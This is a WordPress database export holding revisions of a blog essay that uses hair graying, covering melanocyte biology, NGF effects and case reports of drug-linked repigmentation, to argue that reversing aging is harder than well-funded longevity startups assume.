(245,1,'2021-12-10 15:10:11','2021-12-10 15:10:11','<!-- wp:paragraph -->\n<p>A lot of money and effort has recently been poured into aging therapeutics. Altos Labs, for instance, has raised <a href=\"https://www.technologyreview.com/2021/09/04/1034364/altos-labs-silicon-valleys-jeff-bezos-milner-bet-living-forever/\">$270 million dollars</a> in the last year for pursuing “cellular longevity”, or making individual cells live longer (in the hopes that will make people live longer as well). Other aging startups are also exceedingly well-funded, like Loyal, which has raised <a href=\"https://www.longevity.technology/loyal-raises-27m-to-keep-mans-best-friend-around-longer/\">$27 million</a> to try to extend the lifespan of dogs before even making it to the clinic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money, even for biotech. Most traditional biotech can make it to evidence of efficacy in humans for around $30 million total, and drug repurposing efforts (like <a href=\"http://highwaypharm.com\">my own</a>) can do so for $5-10 million.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The sheer amount of money (coming largely from the tech crowd) being thrown at aging has, understandably, resulted in a lot of hype. I got my news of Loyal’s <a href=\"https://techcrunch.com/2021/09/23/loyal-raises-27m-aims-to-give-dog-owners-more-time-with-their-pets/\">Series A from TechCrunch</a>, for instance, covered in the same tone as any buzzy new app’s Series A. TechCrunch, for the record, didn’t even mention the name Moderna until <a href=\"https://techcrunch.com/tag/moderna-therapeutics/\">Moderna was already in Phase 3 trials for its COVID vaccine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think these anti-aging efforts are necessarily doomed to fail. I do think, however, that their public announcements and even their private assumptions massively underestimate the difficulty and complexity of reversing or stopping aging. Aging is biology, and biology, like reality, has <a href=\"http://johnsalvatier.org/blog/2017/reality-has-a-surprising-amount-of-detail\">a surprising amount of detail</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I try to discuss aging or reversing aging in general, though, I’m liable to get stuck in generalities, which makes it hard to drill down into the sort of details that matter. So, instead, I’d like to discuss in detail a very specific part of aging: graying. Only then, after we discuss graying, can we start to get a sense of the difficulty and complexity of aging research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Graying is a too often overlooked part of aging in general, in my opinion. While it’s easy to ignore it because it’s not part of the aging process that bothers us (George Clooney has basically his entire career to thank for it), it’s actually an incredibly useful part of aging to study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, almost every mammal grays as it ages and almost every mammal that is gray is old. That means graying is an incredibly conserved part of aging, as close to a visible biological clock as one can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/38xKWrR8ZRf5h963BGbqK3XW7Gbekh77AKRCu8Df0GgmHDSJ2l8_o9NcbJZIQwMW0A6PwyH6AmRJMmoFgPW0GCV52lVMdRyRwmadb_nLWXbjIrAOkiupGS39Kl7s5MIX6BJsmTPU\" alt=\"\"/><figcaption>On the left is a baby tree kangaroo. On the right is a senior tree kangaroo. Note the graying around the eyes and muzzle of the senior. Then note how cute the baby is.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, as I’ll discuss more below, not only do we know how to induce graying, we’ve actually accidentally reversed it as well. This gives us vital clues as to what can control the process of graying, clues that we don’t have for aging in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, graying is highly visible and indisputable. Advances in the aging field or aging-related diseases fields are frequently disputed because metrics aren’t universally agreed upon. It’s difficult to tell if a mouse has been cured of Alzheimer’s when mice don’t get Alzheimer’s to begin with. Scientists are forced to resort to saying, “We did something to this mouse that looked like giving it Alzheimer’s, and then we did something else that looked like it put the mouse back to square 1”. This is not the case for an anti-graying intervention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, interventions that affect graying can be done without harming the overall health of the individual, which is helpful both from an ethical standpoint and a logistical one (i.e. we don’t have to continually get new lab animals). One could even imagine some dedicated researcher experimenting on himself to reverse his own graying. If he messes up and does the opposite, it’s not that big of a deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first person to notice these advantages, of course. A lot of people have thought this way, and there’s a robust literature of people experimenting with graying and anti-graying techniques on hair in culture, in animals, and even in humans. All it takes is for a scientist with a pair of tweezers to say to their graying colleague “come here for a second” and they can get another experiment up and running, which is a far cry from how complicated it is to run an Alzheimer’s experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://c8.alamy.com/comp/T79J4B/new-method-of-depilation-crazy-funny-man-using-tweezers-to-remove-his-beard-guy-trying-to-rid-of-the-beard-close-up-portrait-T79J4B.jpg\" alt=\"new method of depilation, crazy funny man using tweezers to remove his  beard. guy trying to rid of the beard. close up portrait Stock Photo - Alamy\"/><figcaption>This is how graying experiments are run. No shirts allowed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But that’s precisely my point. Despite these evident, huge advantages to studying graying, graying is still really difficult to understand and impossible to cure. For the rest of this essay, I’ll discuss what we know about graying, what we don’t know, and where the field is going from here. Then I’ll try to put it back in context with the rest of aging research, so we can get more context for how difficult aging research is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you don’t feel like reading too much more, I’ll give you the summary. The two big things we know about graying are most of <em>how</em> it happens and how it’s been accidentally reversed. The biggest things we don’t know about graying are <em>why</em> it happens and how we can intentionally reverse it. If you’d like to know more detail, read on. Also, I should mention that I’ve relied a lot on <a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/brv.12648\">this excellent review paper</a> for explaining more about the biology of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyway, here’s what we know about how it happens.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the normal cycle of a hair follicle. Over the period of several years, the hair grows out from a follicle, detaches, and then grows again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Oo8X7k6Iq0hafiTS0Kdmx3HslLEq2U9nA5JUddP4jltwtrqqxb9aaWc9JzlhJzBN1WrzpOCSIK-ykP_rom0bhaeStxEz-2f_29jOX82_sQgpsW4MUoRLpwYROJBc_mnfdyjfxaGi\" alt=\"\"/><figcaption>from <a href=\"https://www.growgorgeous.co.uk/blog/the-hair-lab/how-does-hair-grow/\">GrowGorgeous</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hair gets its darkness from melanin, like skin. This is produced by melanocytes that surround the bottom of the hair shaft, which is known as the matrix, as seen below. The process of producing melanin occurs only during anagen, as does the process of producing more melanocytes from the melanocyte stem cells that surround the middle of the hair shaft, which is known as the bulge. During anagen, melanocytes migrate from the bulge to the matrix so they can start producing melanin. After anagen, the mature melanocytes in the matrix apoptose, or die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/xjdwp6hfxRWBc15Pci_btxt0Y_mFaJL0-oal5bTxNhzeL7pMOuAUfRSpt1Y1XSu_PqYdcryRXnIrSilqUxPtrlLLNnajIFjYRNZVykAiZPNwy3twTYxzFNs7dIX-ENb7NMg9PZp0\" alt=\"\"/><figcaption>From, well, you already know. It\'s not my fault they had the diagram I was looking for.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Melanocytes and the lack thereof are key to the graying process. Gray hair follicles have fewer melanocytes at the start of anagen (and those melanocytes may be worse at producing melanin), while white hair follicles have almost no melanocytes or melanocyte stem cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The essential cause of graying seems to be, then, that melanocytes for some reason stop coming from the bulge to the matrix, or at least stop surviving and proliferating in the matrix. This results in a lack of melanin making its way to the hair shaft. After this happens, this is weirdly followed by the melanocyte stem cells also dying. Why this sequence of events occurs and not the reverse is one of the big mysteries of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of the reason why it’s difficult to understand this sequence of events is that the normal cycle of melanocyte stem cells -&gt; melanocytes -&gt; melanin is much more complicated in life than it seems on paper. For one thing, it’s controlled by many, many hormonal regulators. Here’s a short list: ACTH, adrenocorticotropic hormone; α-MSH, alpha melanocyte-stimulating hormone; BMAL1, brain and muscle ARNT-like 1; CRH, corticotropin-releasing hormone; c-KIT, tyrosine protein kinase Kit; c-Met, tyrosine protein kinase Met; FGF, fibroblast growth factor; GR, glucocorticoid receptor; HGF, hepatocyte growth factor; HPA, hypothalamus–pituitary–adrenal axis; MC1R, melanocortin receptor; MITF, microphthalmia-associated transcription factor; NGF, nerve growth factor; PER1, period circadian regulator 1; POMC, proopiomelanocortin; SCF, stem cell factor; T3, triiodothyronine; T4, tetraiodothyronine; TRH, thyrotropin-releasing hormone; TrkA, tyrosine receptor kinase A; and TSC, tuberous sclerosis complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any one of these can affect the pigmentation process. For example, nerve growth factor (NGF) is, as you might expect, a growth factor. It promotes the growth and proliferation of melanocytes. It does so by agonizing TrkA. If you grow a hair follicle <em>in vitro</em> and add in NGF, <a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0221757\">you can make the hair shaft dark with melanin long after the control hair factor has gone gray</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is that then a solution to hair graying? Well, no. First of all, completely removing a cell from all hormones is not what causes hair graying in people. NGF never goes away in people. If it did, we\'d be pretty screwed, because it’s used everywhere in the body (e.g. to promote nerve growth). Second of all, and more importantly, hormones are never quite so simple as more=better. While in this experiment 5 ng of NGF kept the hair shaft dark, 50 ng of NGF actually made the hair follicle lose pigmentation faster than the control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/FESxyHjLpZjlexOMw0Me42tXbvv0tPOuqtptuBygRlfjX1ZJdRgKB5e6aGfKLN8RHvt4mtqQsjP5edlbPyOu0x2JXIof-iDyeLjYmAGhNlbMKGGAuqwBzCERQz1U5ze4KLy0Ooyt\" alt=\"\"/><figcaption>Note that 50 ng NGF on day 6 has less melanin than 0 NGF on day 6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I hope you’re starting to get some sense of the complexity of all of this. People who claim that aging is “just” one thing or “just” another radically underestimate the complexity of how cycles are controlled in the body. These scientists above understand what NGF is for in terms of hair darkening, are able to grow unlimited hair follicles in culture, and can add as much or as little NGF as they want. They still don’t know how much NGF is appropriate for an individual hair follicle on the human head in order to keep a hair strand dark, or even if a lack or excess of NGF is a major cause of graying. This stuff’s really difficult!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other major piece of knowledge that we have in our arsenal with regards to graying are reports of sudden reversals of graying. Unfortunately, despite their value, these cases are woefully underexplored. They mostly just exist in reports from random doctors. This is a pity, because there’s not really an equivalent for any other piece of aging: nobody randomly gets cured from Alzheimer’s or randomly gets their joint degeneration turned to normal. If there are any real-world consequences from this essay, I’d hope that an exploration of these cases is one of them, because they are fascinating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of the most reliable reports of spontaneous hair repigmentation come from immunosuppressants, including <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6031562/\">secukinumab</a>, an anti-interleukin-17 therapy; <a href=\"https://escholarship.org/uc/item/6fn0t1xz\">adalimumab</a>, an anti TNF-alpha therapy; and <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1468-3083.2007.02524.x\">corticosteroids</a>. Interestingly, the darkened hair growth persisted for both the adalimumab and the corticosteroids at least 20 and 12 months after the cessation of therapy, respectively (there was no cessation of secukinumab). While this isn’t longer than the 3-5 years of the total life cycle of a hair follicle, it does suggest that there was some immune component to hair graying in the first place. Immune cells attacking and killing melanocytes might be a common cause of hair graying.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/qymFgmwV9GrHGMBnRn-f8eTKkcKcO5gt9G6eAn3Mqm638LBjD4hgpreWsNG4Opgeg0W8JQDmoHVr2v4j27YAk1dwKHyEoVlfF2gPS8pbbG_zu3M-DK67-NYD2mwVb_jG5urrp28q\" alt=\"\"/><figcaption>On the left, 1 month after starting secukinumab. On the right, 6 months after starting secukinumab.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/EvcCAD-PqZxfUhtRZ56fv74oHjjzxohntsbnJq85nETEblfi9L-GgtoU0gf7_ouhoekZQnM0cCyVnSSBo9kQVWQofAW_mu1T9voPa5-jkeQUS4lylwBHJy-3YgkvfNUgWpRKyweu\" alt=\"\"/><figcaption>On the left, 20 months after an 81 year old patient started corticosteroids. On the right, the same patient at 65 years old, sans corticsteroids.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There are also other reliable reports from other cases, but they’re even harder to explain. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://sci-hubtw.hkvisa.net/10.1046/j.1365-2133.2002.04591.x\">Two patients with porphyria cutanea tarda experienced hair repigmentation concurrent with their other symptoms</a>. One patient had continued hair repigmentation 9 years after treatment of her porphyria cutanea tarda resolved, which means that the repigmentation lasted beyond a hair follicle cycle. Porphyria cutanea tarda is caused by a deficiency of an enzyme that participates in the creation of heme, and results in increased photosensitivity.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Porphyria cutanea tarda also results in (and is usually diagnosed by) <a href=\"https://pubmed.ncbi.nlm.nih.gov/3941293/\">an elevated level of ferritin</a>, a protein that stores iron. One can maybe imagine how excess iron could result in hair darkening, but it’s hard to imagine how that could then persist after the ferritin levels returned to normal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/W2Uk_CqYNzTbNktOwJCDrcYSOk6uCSfmdwkfqylOKfDAGefagVVH7sS1g84zpaRWBu4ddzCqBMAmcVkPX5HMI8L5UPms1bn0_eEkO-F5txXFH3DGH_y2MwKZb8z0gq20xOVaJm40\" alt=\"\"/><figcaption>On the left, the patient after being diagnosed with porphyria cutanea tarda. On the right, the patient several years before. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There was also a report of <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-4632.2011.05422.x\">erlotinib, a tyrosine kinase inhibitor, spontaneously causing hair repigmentation</a>, but only on the top of the head. Interestingly, this evidently occurred mid follicle cycle, as the root of the hair was dark, while the tip of the hair remained gray. Given that tyrosine is a promoter of melanogenesis, this might suggest that melanogenesis was suddenly turned on by an excess of tyrosine, but it’s difficult to know why that would only occur at the top of the head. It’s also interesting that, whatever the problem was with the melanocytes that caused graying in the first place, it could somehow be solved by an excess of tyrosine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/zORy8yJ3opM2AVcTtMx5-ojlAuDx9spLkQ5kHs0QY5zGBA3hQTF7-OQZcJ0_1baMfCZ2woyfGkRcto_KbAuIQNMmQOUnl0JSK6n1xry6qv4IKAefuw_mofs8dUVRwzeNUEa-hEZK\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The reverse happened with acitretin, where <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1440-0960.2009.00542.x\">the crown of the head was gray but the occipital region turned black</a>. Acitretin is closely related to vitamin A, and used to treat psoriasis. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3237781/\">Vitamin A deficiency and excess can cause hair loss</a>, likely by interacting with the hair follicle stem cells and sebaceous glands. The effect on hair stem cells is suggestive, but, again, it’s really difficult to explain why this would only affect the occipital region.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/ur936_EsuehUveBj1oQ-En1w1Zp6L0P9K1DdJTRj3vY6rmSOS6HE4JDB6xEHyXWQH2QKDYW9K337F4mBRzMSmp0quZXnumwKznWExp15YIWnqCyA1z5f8ScZKTZrzGknFYyvcgmg\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Trying to summarize all of these cases as what can reverse hair graying is difficult. The most obvious answer is that hair graying must be caused by many factors, and what reverses one person’s hair graying might not reverse another. The challenge for researchers, then, would be to predict which people would be affected by which interventions, and then figure out which parts of the intervention are actually necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us back to the biggest thing we don’t know: why any of this happens. We don’t know why melanocytes stop producing melanin or migrating down to the matrix. We don’t know why melanocytes die before melanocyte stem cells, or why this is so conserved across mammal species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, because we don’t know why, we still are not remotely close to someone with gray hair being able to walk into a doctor’s office and walk out with black hair. In fact, we’re still not remotely close to being able to consistently reverse graying even in a mouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our difficulties with these presage a difficulty with reversing aging as a whole. Aging is made up of a bunch of different systems: aging of the skin, the heart, the brain, the immune system. All of these systems age and get worse at their jobs, which is why so many diseases have aging as a risk factor. We can safely assume, too, that all of these systems are at least as complex as a hair follicle, with incredibly long lists of hormones that interact with each other in confusing ways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, unlike with graying, aging scientists don’t have the luxury of just looking at each other’s heads, looking at case reports of sudden reversals, or even just being able to visually confirm whether a treatment worked. Testing whether an aging treatment worked in the heart or in the brain is a lot more complicated than that. So, there are a lot of hard slogs ahead, and I have no doubts that the same sorts of weird paradoxes that pop up in graying (e.g. melanocytes disappearing before stem cells) will pop up in general aging, too. They’ll just be harder to spot.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to those scientists with millions of dollars who plan to cure aging within 10 years, I wish you best of luck. But, I urge you: as you work in your labs, please take a second to stop and look at the grayheads around you. Ask them for their wisdom. Then, as they’re replying, try to quickly quickly turn their hair black, and you’ll get a better sense of how ridiculously difficult a task is in front of you.</p>\n<!-- /wp:paragraph -->','Want to reverse aging? Try reversing graying, first.','','inherit','closed','closed','','244-revision-v1','','','2021-12-10 15:10:11','2021-12-10 15:10:11','',244,'https://trevorklee.com/?p=245',0,'revision','',0),
(246,1,'2021-12-10 15:13:03','2021-12-10 15:13:03','<!-- wp:paragraph -->\n<p> <em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of money and effort has recently been poured into aging therapeutics. Altos Labs, for instance, has raised <a href=\"https://www.technologyreview.com/2021/09/04/1034364/altos-labs-silicon-valleys-jeff-bezos-milner-bet-living-forever/\">$270 million dollars</a> in the last year for pursuing “cellular longevity”, or making individual cells live longer (in the hopes that will make people live longer as well). Other aging startups are also exceedingly well-funded, like Loyal, which has raised <a href=\"https://www.longevity.technology/loyal-raises-27m-to-keep-mans-best-friend-around-longer/\">$27 million</a> to try to extend the lifespan of dogs before even making it to the clinic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money, even for biotech. Most traditional biotech can make it to evidence of efficacy in humans for around $30 million total, and drug repurposing efforts (like <a href=\"http://highwaypharm.com\">my own</a>) can do so for $5-10 million.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The sheer amount of money (coming largely from the tech crowd) being thrown at aging has, understandably, resulted in a lot of hype. I got my news of Loyal’s <a href=\"https://techcrunch.com/2021/09/23/loyal-raises-27m-aims-to-give-dog-owners-more-time-with-their-pets/\">Series A from TechCrunch</a>, for instance, covered in the same tone as any buzzy new app’s Series A. TechCrunch, for the record, didn’t even mention the name Moderna until <a href=\"https://techcrunch.com/tag/moderna-therapeutics/\">Moderna was already in Phase 3 trials for its COVID vaccine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think these anti-aging efforts are necessarily doomed to fail. I do think, however, that their public announcements and even their private assumptions massively underestimate the difficulty and complexity of reversing or stopping aging. Aging is biology, and biology, like reality, has <a href=\"http://johnsalvatier.org/blog/2017/reality-has-a-surprising-amount-of-detail\">a surprising amount of detail</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I try to discuss aging or reversing aging in general, though, I’m liable to get stuck in generalities, which makes it hard to drill down into the sort of details that matter. So, instead, I’d like to discuss in detail a very specific part of aging: graying. Only then, after we discuss graying, can we start to get a sense of the difficulty and complexity of aging research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Graying is a too often overlooked part of aging in general, in my opinion. While it’s easy to ignore it because it’s not part of the aging process that bothers us (George Clooney has basically his entire career to thank for it), it’s actually an incredibly useful part of aging to study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, almost every mammal grays as it ages and almost every mammal that is gray is old. That means graying is an incredibly conserved part of aging, as close to a visible biological clock as one can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/38xKWrR8ZRf5h963BGbqK3XW7Gbekh77AKRCu8Df0GgmHDSJ2l8_o9NcbJZIQwMW0A6PwyH6AmRJMmoFgPW0GCV52lVMdRyRwmadb_nLWXbjIrAOkiupGS39Kl7s5MIX6BJsmTPU\" alt=\"\"/><figcaption>On the left is a baby tree kangaroo. On the right is a senior tree kangaroo. Note the graying around the eyes and muzzle of the senior. Then note how cute the baby is.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, as I’ll discuss more below, not only do we know how to induce graying, we’ve actually accidentally reversed it as well. This gives us vital clues as to what can control the process of graying, clues that we don’t have for aging in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, graying is highly visible and indisputable. Advances in the aging field or aging-related diseases fields are frequently disputed because metrics aren’t universally agreed upon. It’s difficult to tell if a mouse has been cured of Alzheimer’s when mice don’t get Alzheimer’s to begin with. Scientists are forced to resort to saying, “We did something to this mouse that looked like giving it Alzheimer’s, and then we did something else that looked like it put the mouse back to square 1”. This is not the case for an anti-graying intervention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, interventions that affect graying can be done without harming the overall health of the individual, which is helpful both from an ethical standpoint and a logistical one (i.e. we don’t have to continually get new lab animals). One could even imagine some dedicated researcher experimenting on himself to reverse his own graying. If he messes up and does the opposite, it’s not that big of a deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first person to notice these advantages, of course. A lot of people have thought this way, and there’s a robust literature of people experimenting with graying and anti-graying techniques on hair in culture, in animals, and even in humans. All it takes is for a scientist with a pair of tweezers to say to their graying colleague “come here for a second” and they can get another experiment up and running, which is a far cry from how complicated it is to run an Alzheimer’s experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://c8.alamy.com/comp/T79J4B/new-method-of-depilation-crazy-funny-man-using-tweezers-to-remove-his-beard-guy-trying-to-rid-of-the-beard-close-up-portrait-T79J4B.jpg\" alt=\"new method of depilation, crazy funny man using tweezers to remove his  beard. guy trying to rid of the beard. close up portrait Stock Photo - Alamy\"/><figcaption>This is how graying experiments are run. No shirts allowed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But that’s precisely my point. Despite these evident, huge advantages to studying graying, graying is still really difficult to understand and impossible to cure. For the rest of this essay, I’ll discuss what we know about graying, what we don’t know, and where the field is going from here. Then I’ll try to put it back in context with the rest of aging research, so we can get more context for how difficult aging research is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you don’t feel like reading too much more, I’ll give you the summary. The two big things we know about graying are most of <em>how</em> it happens and how it’s been accidentally reversed. The biggest things we don’t know about graying are <em>why</em> it happens and how we can intentionally reverse it. If you’d like to know more detail, read on. Also, I should mention that I’ve relied a lot on <a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/brv.12648\">this excellent review paper</a> for explaining more about the biology of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyway, here’s what we know about how it happens.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the normal cycle of a hair follicle. Over the period of several years, the hair grows out from a follicle, detaches, and then grows again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Oo8X7k6Iq0hafiTS0Kdmx3HslLEq2U9nA5JUddP4jltwtrqqxb9aaWc9JzlhJzBN1WrzpOCSIK-ykP_rom0bhaeStxEz-2f_29jOX82_sQgpsW4MUoRLpwYROJBc_mnfdyjfxaGi\" alt=\"\"/><figcaption>from <a href=\"https://www.growgorgeous.co.uk/blog/the-hair-lab/how-does-hair-grow/\">GrowGorgeous</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hair gets its darkness from melanin, like skin. This is produced by melanocytes that surround the bottom of the hair shaft, which is known as the matrix, as seen below. The process of producing melanin occurs only during anagen, as does the process of producing more melanocytes from the melanocyte stem cells that surround the middle of the hair shaft, which is known as the bulge. During anagen, melanocytes migrate from the bulge to the matrix so they can start producing melanin. After anagen, the mature melanocytes in the matrix apoptose, or die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/xjdwp6hfxRWBc15Pci_btxt0Y_mFaJL0-oal5bTxNhzeL7pMOuAUfRSpt1Y1XSu_PqYdcryRXnIrSilqUxPtrlLLNnajIFjYRNZVykAiZPNwy3twTYxzFNs7dIX-ENb7NMg9PZp0\" alt=\"\"/><figcaption>From, well, you already know. It\'s not my fault they had the diagram I was looking for.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Melanocytes and the lack thereof are key to the graying process. Gray hair follicles have fewer melanocytes at the start of anagen (and those melanocytes may be worse at producing melanin), while white hair follicles have almost no melanocytes or melanocyte stem cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The essential cause of graying seems to be, then, that melanocytes for some reason stop coming from the bulge to the matrix, or at least stop surviving and proliferating in the matrix. This results in a lack of melanin making its way to the hair shaft. After this happens, this is weirdly followed by the melanocyte stem cells also dying. Why this sequence of events occurs and not the reverse is one of the big mysteries of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of the reason why it’s difficult to understand this sequence of events is that the normal cycle of melanocyte stem cells -&gt; melanocytes -&gt; melanin is much more complicated in life than it seems on paper. For one thing, it’s controlled by many, many hormonal regulators. Here’s a short list: ACTH, adrenocorticotropic hormone; α-MSH, alpha melanocyte-stimulating hormone; BMAL1, brain and muscle ARNT-like 1; CRH, corticotropin-releasing hormone; c-KIT, tyrosine protein kinase Kit; c-Met, tyrosine protein kinase Met; FGF, fibroblast growth factor; GR, glucocorticoid receptor; HGF, hepatocyte growth factor; HPA, hypothalamus–pituitary–adrenal axis; MC1R, melanocortin receptor; MITF, microphthalmia-associated transcription factor; NGF, nerve growth factor; PER1, period circadian regulator 1; POMC, proopiomelanocortin; SCF, stem cell factor; T3, triiodothyronine; T4, tetraiodothyronine; TRH, thyrotropin-releasing hormone; TrkA, tyrosine receptor kinase A; and TSC, tuberous sclerosis complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any one of these can affect the pigmentation process. For example, nerve growth factor (NGF) is, as you might expect, a growth factor. It promotes the growth and proliferation of melanocytes. It does so by agonizing TrkA. If you grow a hair follicle <em>in vitro</em> and add in NGF, <a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0221757\">you can make the hair shaft dark with melanin long after the control hair factor has gone gray</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is that then a solution to hair graying? Well, no. First of all, completely removing a cell from all hormones is not what causes hair graying in people. NGF never goes away in people. If it did, we\'d be pretty screwed, because it’s used everywhere in the body (e.g. to promote nerve growth). Second of all, and more importantly, hormones are never quite so simple as more=better. While in this experiment 5 ng of NGF kept the hair shaft dark, 50 ng of NGF actually made the hair follicle lose pigmentation faster than the control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img 